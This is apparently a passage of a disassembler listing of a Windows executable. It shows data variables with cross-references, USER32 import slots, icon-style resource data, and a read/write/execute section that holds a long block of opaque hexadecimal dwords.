word_676B6C dw 0 ; DATA XREF: sub_433B91+C0r
word_676B6E dw 0 ; DATA XREF: sub_433B91+B8r
word_676B70 dw 0 ; DATA XREF: sub_433B91+B0r
word_676B72 dw 0 ; DATA XREF: sub_433B91+9Er
dword_676B74 dd 0 dword_676B78 dd 10h dup(0) word_676BB8 dw 0 ; DATA XREF: sub_433B91+46r
word_676BBA dw 0 ; DATA XREF: sub_4338E9:loc_433977r
; sub_433B91+78r ...
word_676BBC dw 0 ; DATA XREF: sub_433B91+67r
word_676BBE dw 0 ; DATA XREF: sub_433B91+70r
; sub_433B91:loc_433C15r
word_676BC0 dw 0 ; DATA XREF: sub_433B91+5Dr
word_676BC2 dw 0 ; DATA XREF: sub_433B91+55r
word_676BC4 dw 0 ; DATA XREF: sub_433B91+4Dr
word_676BC6 dw 0 ; DATA XREF: sub_433B91+3Er
dword_676BC8 dd 0 dword_676BCC dd 0 ; sub_4338E9:loc_433A4Ar ...
dword_676BD0 dd 0 ; sub_4338BB+10r ...
dd 19h dup(0)
dword_676C38 dd 0 ; resolved to->USER32.MessageBoxA ; sub_434CA0+2Ew ...
dword_676C3C dd 0 ; resolved to->USER32.GetActiveWindow ; sub_434CA0:loc_434CEFr
dword_676C40 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_434CA0+60r
dword_676C44 dd 0 align 10h
dword_676C50 dd 2 dup(0) dword_676C58 dd 0 ; sub_434F51+81o
dword_676C5C dd 0 ; sub_434F51+4Ao
dword_676C60 dd 0 ; sub_434F51+3Do
dword_676C64 dd 0 ; sub_434F51+57o
dd 0
dword_676C6C dd 0 ; sub_435A15+48w ...
dd 2 dup(0)
byte_676C78 db 0 ; DATA XREF: sub_4290F9:loc_429153r
; sub_4290F9+63w
byte_676C79 db 0 ; DATA XREF: sub_4290F9+6Fr
; sub_4290F9+78w
align 4
dword_676C7C dd 0 ; sub_4325F8+79w ...
dword_676C80 dd 3 dup(0) ; sub_4325F8+179o ...
dword_676C8C dd 0 ; sub_4325F8+168w ...
dd 4 dup(0)
byte_676CA0 db 0 ; DATA XREF: sub_43284B:loc_432957w
; sub_43284B:loc_432974w ...
align 4
dd 31h dup(0)
db 0
byte_676D69 db 3 dup(0) ; DATA XREF: ?9:off_446E18o
dd 0Dh dup(0)
byte_676DA0 db 0 ; DATA XREF: sub_4325F8+6Eo
; sub_4325F8+BEo ...
byte_676DA1 db 0 ; DATA XREF: sub_42BEC5+5Dr
; sub_4325F8+ABw ...
align 4
dd 40h dup(0)
dword_676EA4 dd 0 ; sub_4325F8+137w ...
dword_676EA8 dd 0 ; sub_432B5F+ADw
dword_676EAC dd 0 ; sub_4329D0+11w ...
dword_676EB0 dd 0 ; sub_42B71B:loc_42B764r ...
dword_676EB4 dd 0 ; sub_42B71B+11r ...
dword_676EB8 dd 0 ; sub_42A954+1Ar ...
dword_676EBC dd 0 ; sub_42A7F0:loc_42A857w ...
dword_676EC0 dd 0 ; sub_42C048+81r ...
dword_676EC4 dd 2Ah dup(0) dword_676F6C dd 15h dup(0) dword_676FC0 dd 0 ; sub_42F3EE+5r ...
dword_676FC4 dd 0 ; sub_42CE87+5r ...
dword_676FC8 dd 0 ; sub_42C855+25Ar ...
dword_676FCC dd 0 ; sub_42C855+311w ...
dword_676FD0 dd 0 ; sub_42C855+22Dr ...
dword_676FD4 dd 0 ; sub_42C82Ar ...
dword_676FD8 dd 0 ; sub_42C82A+8r ...
dword_676FDC dd 0 ; sub_42B2CA+64r ...
dword_676FE0 dd 0 ; sub_429822+CEr ...
dword_676FE4 dd 0 ; sub_429822+2Er ...
dword_676FE8 dd 0 ; sub_432B07+Fr ...
dword_676FEC dd 0 ; sub_42C048+41w ...
dd 4 dup(0)
dword_677000 dd 400h dup(0) ; ?9:00450EA8o
dword_678000 dd 0 ; sub_42C048:loc_42C062w ...
dd 402h dup(0)
dd 20000h, 3, 80000020h, 0Eh, 80000038h, 3 dup(0)
dd 10000h, 1, 80000050h, 3 dup(0)
dd 10000h, 65h, 80000068h, 3 dup(0)
dd 10000h, 409h, 80h, 3 dup(0)
dd 10000h, 409h, 90h, 2790A0h, 2E8h, 2 dup(0)
dd 279388h, 14h, 2 dup(0)
dd 28h, 20h, 40h, 40001h, 0
dd 200h, 5 dup(0)
dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
dd 0FFFFh, 0FFFFFFh, 4 dup(0)
dd 88887800h, 70h, 70770000h, 0
dd 0FFFF7F00h, 77h, 77877700h, 70h, 0FFFF7F00h, 7078h
dd 77878877h, 7077h, 0FFFF7F00h, 77008778h, 77878888h
dd 7077h, 0FFFF7F00h, 88708878h, 77878888h, 7077h, 0FFFF7F00h
dd 88708878h, 77878888h, 7077h, 0FFFF7F00h, 88708878h
dd 77878888h, 7777h, 0CCCC4C00h, 88708848h, 77878888h
dd 7777h, 0CCCC4C00h, 88708844h, 77878888h, 7777h, 0CCCC4C00h
dd 88704844h, 77878888h, 7777h, 0CCCC4C00h, 88704444h
dd 77878888h, 707777h, 0CCCC4C00h, 88404404h, 77878888h
dd 707777h, 0FFFF7F00h, 88404400h, 77878888h, 707777h
dd 0FFFF7F07h, 88400408h, 77878888h, 707777h, 77778777h
dd 8840F088h, 77878888h, 777777h, 77887878h, 8800FF8Fh
dd 77878888h, 777777h, 8088877Fh, 88707777h, 77878888h
dd 777777h, 778F807h, 8880FFFFh, 0F7FFFF88h, 777777h, 87807F00h
dd 8880FFFFh, 0F8888FFh, 707777FFh, 88F00700h, 0FF7F7777h
dd 3FFFF88h, 70F7FF78h, 88700000h, 88F87788h, 3FFCCCCh
dd 0F08F8870h, 88780000h, 0FF88FF88h, 3FFFFFFh, 0F08F0878h
dd 88880700h, 0CCCC88FFh, 377F7CFh, 70F7807Bh, 0FF880700h
dd 0FFFFFF7Fh, 30000FFh, 70B078h, 77FF0700h, 0FFFFFF7Fh
dd 0B38078FFh, 807Bh, 77F70700h, 0FFFFFF7Fh, 830B78FFh
dd 0B078h, 77FF0700h, 0FFFFFF7Fh, 0B3B870FFh, 807Bh, 0FF770000h
dd 77777777h, 838B7B77h, 0B078h, 77000000h, 0B8B8FF7Fh
dd 0B3B8B8B8h, 7Bh, 0
dd 0FFFFFF07h, 0FFFFFFFFh, 70h, 0
dd 77777700h, 77777777h, 0
dd 0FFF17FC0h, 7FC03FC0h, 1F001FC0h, 0F000CC0h, 3 dup(0F0000C0h)
dd 4 dup(70000C0h), 3 dup(30000C0h), 3000080h, 3 dup(1000000h)
dd 1000080h, 0C0h, 0E0h, 2 dup(0F0h), 10000E0h, 70000E0h
dd 3 dup(0F0000E0h), 0F0000F0h, 1F0000FCh, 3F0080FFh, 7F00C0FFh
dd 10000h, 20200001h, 10010h, 2E80004h, 10000h, 719h dup(0)
?9 ends
; Section 2. (virtual address 0027B000)
; Virtual size : 00021AC8 ( 137928.)
; Section size in file : 00021AC8 ( 137928.)
; Offset to raw data for section: 0027B000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_9 segment para public 'CODE' use32
assume cs:_9
;org 67B000h
assume es:nothing, ss:nothing, ds:?9, fs:nothing, gs:nothing
dd 3 dup(0)
dd 20000h, 3, 80000020h, 0Eh, 80000038h, 3 dup(0)
dd 10000h, 1, 80000050h, 3 dup(0)
dd 10000h, 65h, 80000068h, 3 dup(0)
dd 10000h, 409h, 80h, 3 dup(0)
dd 10000h, 409h, 90h, 27B0A0h, 2E8h, 2 dup(0)
dd 27B388h, 14h, 2 dup(0)
dd 28h, 20h, 40h, 40001h, 0
dd 200h, 5 dup(0)
dd 800000h, 8000h, 808000h, 80h, 800080h, 8080h, 808080h
dd 0C0C0C0h, 0FF0000h, 0FF00h, 0FFFF00h, 0FFh, 0FF00FFh
dd 0FFFFh, 0FFFFFFh, 4 dup(0)
dd 88887800h, 70h, 70770000h, 0
dd 0FFFF7F00h, 77h, 77877700h, 70h, 0FFFF7F00h, 7078h
dd 77878877h, 7077h, 0FFFF7F00h, 77008778h, 77878888h
dd 7077h, 0FFFF7F00h, 88708878h, 77878888h, 7077h, 0FFFF7F00h
dd 88708878h, 77878888h, 7077h, 0FFFF7F00h, 88708878h
dd 77878888h, 7777h, 0CCCC4C00h, 88708848h, 77878888h
dd 7777h, 0CCCC4C00h, 88708844h, 77878888h, 7777h, 0CCCC4C00h
dd 88704844h, 77878888h, 7777h, 0CCCC4C00h, 88704444h
dd 77878888h, 707777h, 0CCCC4C00h, 88404404h, 77878888h
dd 707777h, 0FFFF7F00h, 88404400h, 77878888h, 707777h
dd 0FFFF7F07h, 88400408h, 77878888h, 707777h, 77778777h
dd 8840F088h, 77878888h, 777777h, 77887878h, 8800FF8Fh
dd 77878888h, 777777h, 8088877Fh, 88707777h, 77878888h
dd 777777h, 778F807h, 8880FFFFh, 0F7FFFF88h, 777777h, 87807F00h
dd 8880FFFFh, 0F8888FFh, 707777FFh, 88F00700h, 0FF7F7777h
dd 3FFFF88h, 70F7FF78h, 88700000h, 88F87788h, 3FFCCCCh
dd 0F08F8870h, 88780000h, 0FF88FF88h, 3FFFFFFh, 0F08F0878h
dd 88880700h, 0CCCC88FFh, 377F7CFh, 70F7807Bh, 0FF880700h
dd 0FFFFFF7Fh, 30000FFh, 70B078h, 77FF0700h, 0FFFFFF7Fh
dd 0B38078FFh, 807Bh, 77F70700h, 0FFFFFF7Fh, 830B78FFh
dd 0B078h, 77FF0700h, 0FFFFFF7Fh, 0B3B870FFh, 807Bh, 0FF770000h
dd 77777777h, 838B7B77h, 0B078h, 77000000h, 0B8B8FF7Fh
dd 0B3B8B8B8h, 7Bh, 0
dd 0FFFFFF07h, 0FFFFFFFFh, 70h, 0
dd 77777700h, 77777777h, 0
dd 0FFF17FC0h, 7FC03FC0h, 1F001FC0h, 0F000CC0h, 3 dup(0F0000C0h)
dd 4 dup(70000C0h), 3 dup(30000C0h), 3000080h, 3 dup(1000000h)
dd 1000080h, 0C0h, 0E0h, 2 dup(0F0h), 10000E0h, 70000E0h
dd 3 dup(0F0000E0h), 0F0000F0h, 1F0000FCh, 3F0080FFh, 7F00C0FFh
dd 10000h, 20200001h, 10010h, 2E80004h, 10000h, 4CB04500h
dd 1210066h, 58415717h, 0E9A71B23h, 537810B6h, 38771FB5h
dd 824B8A88h, 0B36944D8h, 4733EA5Ah, 815E8EB4h, 3CCCEC44h
dd 0D75EB29Bh, 8E8DB36Ah, 8488FE58h, 7D9DBAh, 40563FDAh
dd 68868F30h, 16A59946h, 6D154E2Dh, 182FB6D9h, 7BA47DFCh
dd 6FD8438Fh, 4D5611E0h, 0EE53BD1Dh, 8B5AA2FCh, 1C8CE654h
dd 18271FDFh, 879F8A65h, 0D859E7BDh, 5DBA02A4h, 0E8B7D28Ch
dd 0DD8555DCh, 0C57A9077h, 4299ACFEh, 0A0FEB69h, 575A2904h
dd 0E76513E7h, 22D1B3Ah, 0D51CFD3Ch, 57093BF9h, 0F16D749Eh
dd 0F6DDE72Eh, 0E9049F6Ah, 47981C87h, 0F0090537h, 4B83A20Bh
dd 0D27EBDDAh, 2473E88Fh, 6D0312C8h, 0ED10AA9Eh, 0A2E0177Dh
dd 0B195A730h, 0CF5DE7DAh, 0A1C17F16h, 17D15F05h, 4C8F1A2Dh
dd 0A41C6700h, 0ECFA956Fh, 585316C0h, 0CC0CE23Ch, 993995FFh
dd 0B7F4A1A6h, 329365C8h, 1CDDE21Bh, 0F6883736h, 0B2A673E1h
dd 664F6C2Ch, 0BFE432Dh, 0E7957B71h, 14C35AECh, 0D4D8CC55h
dd 10710854h, 38ECBF25h, 28C6650Ch, 70404D05h, 99BB6A25h
dd 0E5DE437Bh, 0F9633479h, 0EFA7EAC7h, 9615E529h, 81928298h
dd 0E8AAB4A7h, 6A4A668Fh, 2CCB2592h, 1FE6B774h, 0EFD1513h
dd 9A0CFBACh, 26C93CC7h, 772F20D1h, 0D75294D6h, 0C4EB73ACh
dd 66D90B11h, 0E6E0D81Dh, 1618E532h, 8E62ECFh, 290F4AC4h
dd 3A0B42D9h, 0F8F5A93h, 0F70C05A5h, 8ADFF7Dh, 0DFBA1ADEh
dd 6C5B98A2h, 7ACC149Dh, 0D55A6147h, 0F07E0AD3h, 553608Bh
dd 5AB9FC75h, 80FFCCA4h, 2C599DE7h, 0FB1E8E8Eh, 331ADE96h
dd 561AB5D8h, 121338B9h, 0E2B7CF75h, 7D432AFCh, 0AC2488F0h
dd 0C7C31067h, 25C8419Ah, 3AFF85EAh, 0E73B3BDFh, 8FC2F531h
dd 51F6A09Fh, 0DAB344B1h, 3A422598h, 363037Eh, 9ACD361Eh
dd 3E41187Eh, 65FC845Fh, 0B8BD596Ah, 0B9618206h, 9DB2045Ah
dd 892830E1h, 856F5F3Fh, 0F76C6353h, 47FF872Fh, 17418387h
dd 4E3259Bh, 0D4908A53h, 0C4D193A1h, 5B19B498h, 0E7685C39h
dd 0CFF0231Ch, 84484526h, 10F7DA00h, 0B741C48Ah, 0A940EE14h
dd 75BFA555h, 0E62A0AA7h, 74411C2Ch, 4D7742AAh, 0B7ED9222h
dd 5DC5AEB3h, 0F7F14785h, 0AFCB9531h, 178600F7h, 0A665E2FCh
dd 0F43BEFD7h, 0DE010D6Eh, 5A419530h, 67324E24h, 0A15B619Bh
dd 0C1A69BA9h, 8D39C65h, 0A0E23AC7h, 0B03713E1h, 0CD1E70B1h
dd 6CDD32ADh, 4EF666B3h, 735AE695h, 428AAA93h, 70E8322Dh
dd 0B2297F7Bh, 0B7937644h, 1A762CD2h, 18AAE2A2h, 52159E0Eh
dd 54142655h, 1B07A065h, 0DBE5E6C3h, 0E3962D27h, 2F544F22h
dd 6CDD486h, 2E1ACE5Fh, 17ADBE07h, 0F0AF7164h, 0AD3EEBF3h
dd 0DBC07E91h, 0CCAD7241h, 0CBC94913h, 17B2CA1h, 1E7DDA0Dh
dd 0CD5B2D6Eh, 2CE1451Fh, 0F421217Eh, 6BE49187h, 9E7A8FB7h
dd 6A9EA3B9h, 8A1C05Eh, 4EFE9AEDh, 78BE4FBAh, 1C74C472h
dd 0CC777643h, 8039A661h, 0E3E78BA6h, 91159B83h, 8BA0FFC1h
dd 9D1C078Fh, 0CB0C4421h, 83041517h, 1E4F4314h, 7CA5A2BAh
dd 580E60ECh, 5CA57504h, 0F8163F20h, 959CF7A0h, 661BE2FFh
dd 878927D7h, 0CB508F0Ch, 0BC2F19BFh, 0AB237BD1h, 2071885Ch
dd 10D93ACAh, 9D0B2B84h, 0EF68B5CDh, 0F16D728Dh, 0EAD7CA90h
dd 0E578F668h, 98761C2Bh, 1379C6C3h, 8A5DC4EEh, 0F88B92AEh
dd 0E5626B43h, 0E3D64B82h, 5B061B99h, 127544Ah, 473E2094h
dd 0CD25C0F8h, 0E8BE2F74h, 45BAA6F1h, 97962222h, 0C221BE69h
dd 0C7FF453Ch, 7AFBB367h, 5358D15Ah, 0A9178B39h, 0DBFB3A9h
dd 0A71968B6h, 0A0EB8B16h, 0E990ED9Dh, 656EDDB1h, 0F92FA6EBh
dd 0E4D7DAD3h, 7B7732Fh, 0A4CE0DACh, 0F463A77Ch, 9CFF3835h
dd 257199C9h, 0B8548F11h, 50369609h, 0AC70C9F1h, 4A120458h
dd 0D7C75D29h, 1E87DB91h, 1A653DB8h, 1B72979Bh, 52FAA040h
dd 2768FBCFh, 15B3F7F0h, 0F83087B2h, 0A39CACEDh, 1AB86FDEh
dd 0DE3E7AE3h, 98383D23h, 6178BE3Bh, 0A4D7DDC9h, 9EB7F53Dh
dd 0BBA4E42h, 0C4A6DCABh, 451CF553h, 58324A0Fh, 2D7E919Bh
dd 65D3B4EAh, 49751E1Ah, 98126063h, 2B5F1BC4h, 0A3EE5E7Ah
dd 9CD3DD63h, 0DBEAE4F0h, 0F9592D96h, 3A2B4AD4h, 8956DF4Bh
dd 5CC0B91Bh, 8F4AF98Ch, 8E425F5h, 0BE5153E9h, 0B8F5E38Ah
dd 0F796A158h, 567D01CFh, 56A5594Ah, 0E43DACC5h, 9BDEC957h
dd 3EF2029Fh, 88655E9Fh, 0F8E22F85h, 11FC97A4h, 0B6BC0D15h
dd 0BBEDF540h, 6ED71520h, 7219987Ch, 7E485362h, 0BB43FEBCh
dd 0C0746508h, 0D345790Bh, 150F5D0h, 0C1FEF0Fh, 7028285Fh
dd 26F89757h, 48FEC1Fh, 0C1129E89h, 492A726Dh, 1F75272Dh
dd 0B02E7943h, 7CDB447Ah, 922F4BAAh, 766C34A5h, 0B3E933CDh
dd 87FB9D1Ch, 52D47E9h, 57095A4h, 62AF802Ch, 847A6244h
dd 401FCB34h, 78E4B075h, 8D10C679h, 18CA0470h, 83B358F4h
dd 0AC253319h, 0AB13345h, 0AAAE1A30h, 3B7437C5h, 0F0B064B0h
dd 0CF202C31h, 883E8F97h, 0E9B7B769h, 942F5DCAh, 0BDC9BA60h
dd 3202E734h, 75014A54h, 0A8495FF0h, 0A647FC5h, 9389B81Bh
dd 6A59FEB7h, 0FEF0D7B9h, 0D53C21E6h, 7C9706DBh, 16A1BCD4h
dd 9128C4B7h, 62567D38h, 5EDAA3D8h, 0E1CEFD06h, 27E26874h
dd 0F55F8407h, 2089EE5Bh, 0EB5D2858h, 16A1A5F9h, 882E5F11h
dd 0E56773Ch, 46625E35h, 0C0411064h, 4DF7414Dh, 0CF5EC515h
dd 0A0CA1C61h, 0D3B57B35h, 0D9CC1B83h, 0EBA1CE71h, 33295779h
dd 0B6C5F828h, 0F397AEA0h, 8049D99h, 28F8C9A3h, 0F01DBC55h
dd 0AD464EC5h, 4022DCFBh, 0C0CCB3E8h, 0CC1F01CBh, 96A38D55h
dd 0EC3ECC29h, 3A22488Ah, 0CE19BCE6h, 9F65B2DEh, 0BC40FD73h
dd 0FEB3B8C0h, 79C5A114h, 0DBB738C5h, 1BEA4E13h, 4CCCA75Ah
dd 3975428Dh, 0CC4351EFh, 0D9B2813Ah, 7EECBC38h, 0ECAA551Ch
dd 0BF7B4890h, 83FF18F1h, 4B2B9E8Eh, 6CE04791h, 6B493F0Bh
dd 5D64A1Eh, 0F3748C93h, 0A68E2273h, 37E84652h, 0F6A51936h
dd 61CF0B55h, 5ADA81A5h, 0EB098A69h, 6B704477h, 59F082F3h
dd 843F804Bh, 88FBC381h, 0F95DA22h, 0FE4AEB4Bh, 84B53B5Fh
dd 8AEE4AA2h, 311F5118h, 0F6367E53h, 98F6CA73h, 0C341C64Ah
dd 0CBFF1BEBh, 0B89866DFh, 0B7B2B277h, 70ADE625h, 16B66DE2h
dd 42D793C1h, 0C4021EFEh, 24038C2Ch, 0B5F528CAh, 0F8B18A1h
dd 0A71DA02Eh, 717BAAFh, 0C68B531Ch, 0E17A8EC8h, 9378D3D5h
dd 0FBD7EF5h, 0C113EB8Ah, 0F1BF788Eh, 0E6CE0B3Ch, 905414C2h
dd 0A26B050Fh, 58883C4Bh, 48BFB1ADh, 4D058C65h, 0C0B2E1DAh
dd 41A9E615h, 0F24EB29Bh, 0CB028B4Ch, 0C4F2487Eh, 31240A39h
dd 629D9A60h, 0FE41EB55h, 0EF109D7Eh, 98E41419h, 52737C8Ah
dd 8639DBCDh, 2AC6208Bh, 52A379EBh, 542F713Ch, 0A12A0DEDh
dd 25AA5266h, 0CBA5C279h, 0DFEDAF3Ch, 64906C5Ch, 7C673ABFh
dd 4669D561h, 0FCD58FA6h, 0E9D152F6h, 11D9EB88h, 73F486E3h
dd 10A1A01Fh, 0B771BB7Ch, 0FBCC06C2h, 0B9D86BE7h, 72AD817Fh
dd 0CD316D50h, 6D9A65FEh, 0A82AD851h, 0DB04F405h, 6256A3CCh
dd 0DFA116D2h
dd 0EE53CBDBh, 2944BF64h, 0FBBE50ACh, 89345FBAh, 0B6A126CAh
dd 486207A4h, 2D7A5C3h, 92D0660Fh, 6C3966E4h, 68F62CEEh
dd 0A10D1B2Eh, 20B4377Bh, 49DCE11Dh, 0A7982364h, 3D68E7F1h
dd 0FAA46873h, 1B2A38A5h, 6B2076FEh, 0F131FE2Bh, 0D845E969h
dd 0A76D6FFCh, 81F905D3h, 90160BE7h, 0CCC7FDB2h, 78666CF1h
dd 0ACD9BFF0h, 6791D10Ch, 0A405012Dh, 97BFF02h, 31A5D71Ah
dd 7DFCE64Bh, 0EE9C3149h, 7F16DD09h, 6C4D5A71h, 1DF18B9Fh
dd 964CDFF5h, 9F1E7536h, 0B2B4BA32h, 167EC524h, 0AB4704B8h
dd 211FA88Ch, 34647A3Bh, 0BA2ABC29h, 0C42955D9h, 7203871Bh
dd 80D60B9Fh, 49947935h, 0FF6801CBh, 53821F9Fh, 0D6320812h
dd 4F61375Dh, 84005AEEh, 0CD8DFF8Ah, 0A7157BC0h, 10BE7Eh
dd 9E092D88h, 40C568B7h, 9C59B505h, 0A345EA2Ah, 41C7AF4h
dd 8E86399Eh, 0A005555Fh, 0CF87953h, 0D06B808Ch, 0BBC578CFh
dd 29F6CB0Fh, 529FC50Eh, 2EA76F44h, 0FBB14BBCh, 2AB52DFDh
dd 4069704Fh, 0D879201Dh, 0AD347864h, 1E0EB6A2h, 0D7D4884Ah
dd 0C25B6FB7h, 0B70D5459h, 3DCB24D2h, 0EA1255C3h, 89E14E48h
dd 44890DFCh, 43A7EB2Bh, 69E2580h, 7CABBA3Ch, 870048Ch
dd 0EBCF6C90h, 328F543Eh, 0FCFB02C0h, 1D9EDB21h, 0A640872Fh
dd 0ADA595BBh, 0B83BA820h, 0B443CA0Bh, 18F6EC93h, 7C34B550h
dd 5F466886h, 715FB467h, 38FE29BCh, 0AFB1ABA4h, 562B127Eh
dd 270B52A5h, 1F966415h, 5618EF7Ch, 0DBCE8A02h, 0EC5FC2FFh
dd 412F45E8h, 8F528D6Dh, 0E496A167h, 0C10104DCh, 0CD93F049h
dd 9A1DC717h, 0DCD869B5h, 8FDAD666h, 0E9348036h, 1A7CEAE1h
dd 0CC4CD653h, 0AA67342Ch, 6AA3F8D5h, 56090763h, 0C2CB50F0h
dd 2F0DF8F2h, 635E44D8h, 0F9923218h, 75B316CDh, 274F5ABEh
dd 0BA2D1414h, 0F341EDD0h, 6A611CDBh, 3F7B207Ah, 0C43E6A7Dh
dd 20946C37h, 82B07083h, 3E1FBAF2h, 0E2C75129h, 2A434BABh
dd 5F2C8727h, 430CDD43h, 5EF47C06h, 81D690CAh, 699E84E2h
dd 0BCA06251h, 6F671433h, 7A59BCA8h, 61ADF92Bh, 585570DCh
dd 0C0BA2264h, 2E390457h, 63B33B9Ch, 0C3F08B04h, 22F9C2E1h
dd 73E0CE18h, 0D31DF096h, 2A9634BEh, 0D0D883B0h, 3011F921h
dd 8EABBDFBh, 5E3DE33Fh, 0F0502F1Eh, 42FB7C25h, 31E0E9A9h
dd 0A8ABE399h, 4BCE1A31h, 0EBBA5252h, 0C79D4CC5h, 0F7AE5C5Dh
dd 0EBD87090h, 0A3D91C60h, 5C017083h, 43CB8CB8h, 8EC6E695h
dd 7546D1A8h, 0E9D3C03Ch, 7A969F33h, 0B2D1780h, 591EC216h
dd 0AFC4FA71h, 7901850Dh, 0A56DF684h, 0F929E82Fh, 7511BFFh
dd 0E1B17E2h, 0CC64401Ah, 8437D7F6h, 8F8B8B36h, 6809D1B0h
dd 80EDEEBEh, 457EFF19h, 385EE2B7h, 96B2DD40h, 7DB42A53h
dd 4BBF81Eh, 0A53BA4FAh, 1BFD2CC2h, 22BFF941h, 4C294252h
dd 5584CF08h, 0BBD47917h, 0E08C35B2h, 144B447Ch, 1AD7A873h
dd 9EF19C95h, 0EB090CFCh, 9F344185h, 2F039E43h, 7C6A2F1Fh
dd 0A5F99C34h, 0F113753Ah, 132038A6h, 0AFF2B223h, 2F98DDBBh
dd 0B787A131h, 0ABF72FB7h, 2EE40B7Bh, 74C5A5B6h, 0E79970C6h
dd 0F4B98FB8h, 0BF8308CEh, 0DEC90426h, 55B6CC01h, 5206B57h
dd 671E6200h, 30FF2406h, 87775EFFh, 0EDB48DD0h, 0E540B1C9h
dd 73C598FCh, 8D7AB596h, 0F7DA2141h, 0B9A39DEFh, 96120560h
dd 0A879E8B8h, 6E8E9DE6h, 663CEC16h, 2D8FBDA3h, 0AA808007h
dd 0FAA7EF33h, 0A245D306h, 3B7B6363h, 96DE972Eh, 0A3A07D10h
dd 407629A3h, 9BFE1F80h, 897E3E85h, 59138536h, 68C45548h
dd 1A4BDD9Dh, 9F8D6C2Dh, 968C22Fh, 6E5D009Fh, 0AE29982Fh
dd 0AC2D2F54h, 56CDA690h, 14034681h, 4B3D7488h, 0AF20C571h
dd 0FE0D79A4h, 0AA2B9780h, 91CE45CEh, 0D123DA2Fh, 456523F7h
dd 4594DADCh, 1C5966B4h, 0E2E5A8F5h, 886E726Fh, 0CE0C094Fh
dd 94A108D4h, 0E0E1B6A7h, 8CEA2CE8h, 0DCD7E3D6h, 0FA2C2762h
dd 0FB8420BCh, 908D3B4Eh, 51F54BE8h, 0F6788B66h, 949BFD9Ch
dd 0F2C96AEBh, 7A1D92D9h, 0F8B83FA8h, 4C965370h, 0AA207BF6h
dd 84454E07h, 0D59D3C2Dh, 66ABAB66h, 42680319h, 85A4852Ch
dd 16CB5FB4h, 960A3C69h, 0D958AC35h, 8D01E456h, 5A0CB16Bh
dd 0BA8BCAA8h, 0A6BF8DAh, 0E4558E5Eh, 752FA861h, 0B3072746h
dd 0F515AE5Ah, 459EBA23h, 8BDCCEB0h, 6CA98F6Fh, 0C2D48D85h
dd 0C67418C5h, 77187671h, 30345E2Bh, 2C085F56h, 55805172h
dd 0DEB89F4Fh, 7BAFEF0Fh, 55FF6460h, 51ADF4EFh, 0DBE9B6CAh
dd 0EFF4FAEFh, 658F5059h, 7338FE00h, 96DC0A35h, 0B8A02E8Eh
dd 253B8D95h, 51D12513h, 0C91C7E42h, 92DD454h, 770627DBh
dd 1558401Bh, 82BF8298h, 827F9CD5h, 0DE6C9CFBh, 4CAD2915h
dd 81C77C24h, 4C4AEB01h, 8FE0DA9Bh, 602D2C46h, 9761C278h
dd 0B604A9A4h, 69B1BCDEh, 0D43BBBC1h, 5893E1E9h, 0D6633665h
dd 0E40FF76h, 890B9C6Dh, 2AADD61Bh, 3AF96E69h, 35F7C072h
dd 0AD55BAE1h, 0FCB377F8h, 0CF95F3F7h, 4A3FE9F8h, 1A81A1B1h
dd 13103E0Dh, 0F2F85978h, 0D56B8224h, 0A4791F13h, 0D7FDC334h
dd 8681D536h, 9D95A09h, 3E38E7F0h, 0D4F17C01h, 92356452h
dd 0A802DF06h, 0B51614B2h, 15F7B48Fh, 8204A856h, 0BBEBA49Fh
dd 0BC9FBC1Ah, 17386AAh, 0A91CA22Eh, 77012B4Dh, 18AC2E58h
dd 9B6CEEF2h, 0A3FEC811h, 0BCC5A1EDh, 0B9CA9CF0h, 3C768FFAh
dd 4D1FF008h, 0C5C44FEBh, 448EC96h, 0DE8D1A61h, 0C7B7A3DCh
dd 0A2EE3124h, 0B4197D91h, 3453FACBh, 0C9F603EEh, 899B893h
dd 0EFA6D8ABh, 2D2C235Dh, 0B7BD5314h, 91FC6851h, 73EDA697h
dd 0C370A479h, 7F0B7F0Fh, 0D6C388C3h, 5C9DDC8h, 0CC60D097h
dd 0F9256A64h, 0BBC4321Ah, 0E132F081h, 3CBE2462h, 69629F74h
dd 0E7E871F4h, 6F295172h, 59C30C3Dh, 32C918B5h, 0E56DDE9Eh
dd 10EAEC90h, 16A9A3D8h, 3B1817FBh, 0AE620373h, 342F8F5Eh
dd 0BD1607B2h, 772B7212h, 32D072B3h, 2C942h, 692FD963h
dd 7478C2C2h, 8DBC18C9h, 0C6F89397h, 678C827Ch, 0A5EA2BA0h
dd 210C1F6Bh, 7B84DE93h, 773A2469h, 83A7AA8Ah, 0A3483253h
dd 7B0E7AE5h, 0E109B502h, 76D70682h, 0F48A559Fh, 0C7BC5ED8h
dd 1FFD9DE0h, 0F05B9D00h, 8C650B4Bh, 4C1E1686h, 82CEB14Ch
dd 0B93372F4h, 0C6F002C4h, 374B04BDh, 32292992h, 541A18CFh
dd 0BBE7C80Fh, 0A0D696D7h, 0D91B08E5h, 4074C053h, 0D10D256Ch
dd 5C2CE2F3h, 0EB91B4FAh, 0AE462E98h, 52718DBDh, 74BCB43h
dd 0EA630858h, 8947A3DFh, 1B336CB6h, 9E406CD3h, 84639BA4h
dd 0A7E74846h, 0F39AD6CBh, 7964B0F5h, 249D2AD5h, 70D95F56h
dd 82DB1F27h, 0BF8FBAD4h, 0C9AAFCBCh, 5D651316h, 0A422F392h
dd 0CE2D7E08h, 32280760h, 2C8FAFD6h, 7D6874Fh, 7AC7A352h
dd 4FE5C323h, 482BD1FCh, 0CBF55926h, 0BE1A4949h, 94F25984h
dd 0D29F494Dh, 1A6563E7h, 9F3A039Bh, 92B843D6h, 0F22BE253h
dd 0AAB06127h, 5FEE6F32h, 7B00CAC5h, 5978616h, 0C1FAB656h
dd 7D4E14E6h, 0FE45A42Ch, 470E43A2h, 2933EE02h, 7F09BBDh
dd 7B7330A5h, 0ABCE4AA0h, 740689CFh, 0E9081101h, 5B2C8D11h
dd 0F8DD11FEh, 2B5CF2DBh, 596A19E7h, 88A27ACBh, 53482EEDh
dd 0CFBB0444h, 4F402AB4h, 161ACEF8h, 0BF437C4Eh, 228C70BEh
dd 8D878ED1h, 0FB2DC826h, 0FF5CFC41h, 0B2D2AC63h, 563A3310h
dd 0F394F454h, 886F9A37h, 1BC99D8Dh, 0A8EB6D2Ch, 0F5927FEBh
dd 291B4C28h, 67CFC121h
dd 0D4FD5666h, 0B1428F57h, 30A9903Eh, 348661B2h, 0E9CDEBECh
